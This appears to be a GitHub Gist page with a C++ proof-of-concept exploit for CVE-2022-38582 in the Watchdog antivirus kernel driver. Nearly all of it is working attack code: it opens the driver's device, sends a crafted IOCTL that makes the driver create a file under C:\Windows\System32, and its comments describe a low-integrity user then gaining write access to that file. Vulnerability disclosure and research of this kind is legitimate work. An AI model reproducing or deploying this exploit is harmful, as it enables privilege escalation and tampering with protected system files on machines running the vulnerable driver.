

Instantly share code, notes, and snippets.

420SmokeBigWeedHackBadDrivers / lmfao.cpp

Last active last month



<> Code  Revisions 2

PoC for Watchdog AV (CVE-2022-38582)

 **lmfao.cpp**

```
1 // exploitation will require issuing the described IOCTL
2 // once complete, a low integrity user may obtain write-privileges to the file
3 // by re-opening with CreateFileA / NtCreateFile
4
5 #include <Windows.h>
6 #include <stdio.h>
7
8 #define IOCTL_WAV_CREATE_FILE 0x80002004
9 const char* g_DeviceName = R"(\.\wsdk)";
10
11 BOOL WAV_CreateFile(HANDLE hDevice, const wchar_t* strFileName, BOOL bOpenExisting, PHANDLE lpOutH
12
13 typedef struct WSDK_CREATE {
14     DWORD dwDisposition;
15     DWORD dwAccessMask; // 0x10
16     BYTE reserved0[0x6c];
17     WCHAR wstrFileName[MAX_PATH + 1];
18 } WSDK_CREATE, * PWSDK_CREATE;
19
20 typedef struct WSDK_CREATE_OUT {
21     HANDLE hFile;
22     NTSTATUS status;
23 } WSDK_CREATE_OUT, * PWSDK_CREATE_OUT;
24
25 BOOL WAV_CreateFile(HANDLE hDevice, const wchar_t* strFileName, BOOL bOpenExisting, PHANDLE lpOutH
26 {
27     DWORD dwBytesReturned = 0;
28     HANDLE hHeap = GetProcessHeap();
29     if (!lpOutHandle) {
30         return FALSE;
31     }
```

```

32
33     LPVOID lpOutBuffer = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x1000);
34     if (!lpOutBuffer) {
35         return FALSE;
36     }
37
38     PWSDK_CREATE lpCreateArgs = (PWSDK_CREATE)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(WSDK_C
39     if (!lpCreateArgs) {
40         HeapFree(hHeap, 0, lpOutBuffer);
41         return FALSE;
42     }
43
44     lpCreateArgs->dwAccessMask = 1;
45     lpCreateArgs->dwDisposition = 0;
46
47     memcpy(lpCreateArgs->wstrFileName, strFileName, lstrlenW(strFileName) * sizeof(wchar_t));
48
49     BOOL bRes = DeviceIoControl(
50         hDevice,
51         IOCTL_WAV_CREATE_FILE,
52         lpCreateArgs,
53         sizeof(WSDK_CREATE),
54         lpOutBuffer,
55         0x1000,
56         &dwBytesReturned,
57         NULL
58     );
59
60     if (!bRes) {
61         printf("DeviceIoControl - %x\n", GetLastError());
62         return FALSE;
63     }
64
65     PWSDK_CREATE_OUT lpOutInfo = (PWSDK_CREATE_OUT)lpOutBuffer;
66
67     if (lpOutInfo->hFile && !lpOutInfo->status) {
68         *lpOutHandle = lpOutInfo->hFile;
69         HeapFree(hHeap, 0, lpOutBuffer);
70         HeapFree(hHeap, 0, lpCreateArgs);
71         return TRUE;
72     }
73
74     HeapFree(hHeap, 0, lpOutBuffer);
75     HeapFree(hHeap, 0, lpCreateArgs);
76     return FALSE;
77 }
78
79 int main() {
80     HANDLE hDevice = CreateFileA(

```

```
81         g_DeviceName,  
82         GENERIC_READ | GENERIC_WRITE,  
83         FILE_SHARE_READ | FILE_SHARE_WRITE,  
84         NULL,  
85         OPEN_EXISTING,  
86         FILE_ATTRIBUTE_NORMAL,  
87         NULL  
88     );  
89  
90     if (!hDevice || hDevice == INVALID_HANDLE_VALUE) {  
91         printf("CreateFileA - %x\n", GetLastError());  
92         return -1;  
93     }  
94  
95     HANDLE hFile = 0;  
96     BOOL bResult = WAV_CreateFile(hDevice, LR"(\\??\C:\Windows\System32\lmfao.dll)", FALSE, &h  
97     if (bResult) {  
98         printf("Got handle to file: %p\n", hFile);  
99     }  
100  
101     return 0;  
102 }
```

ElliottDenlinger commented on Aug 17

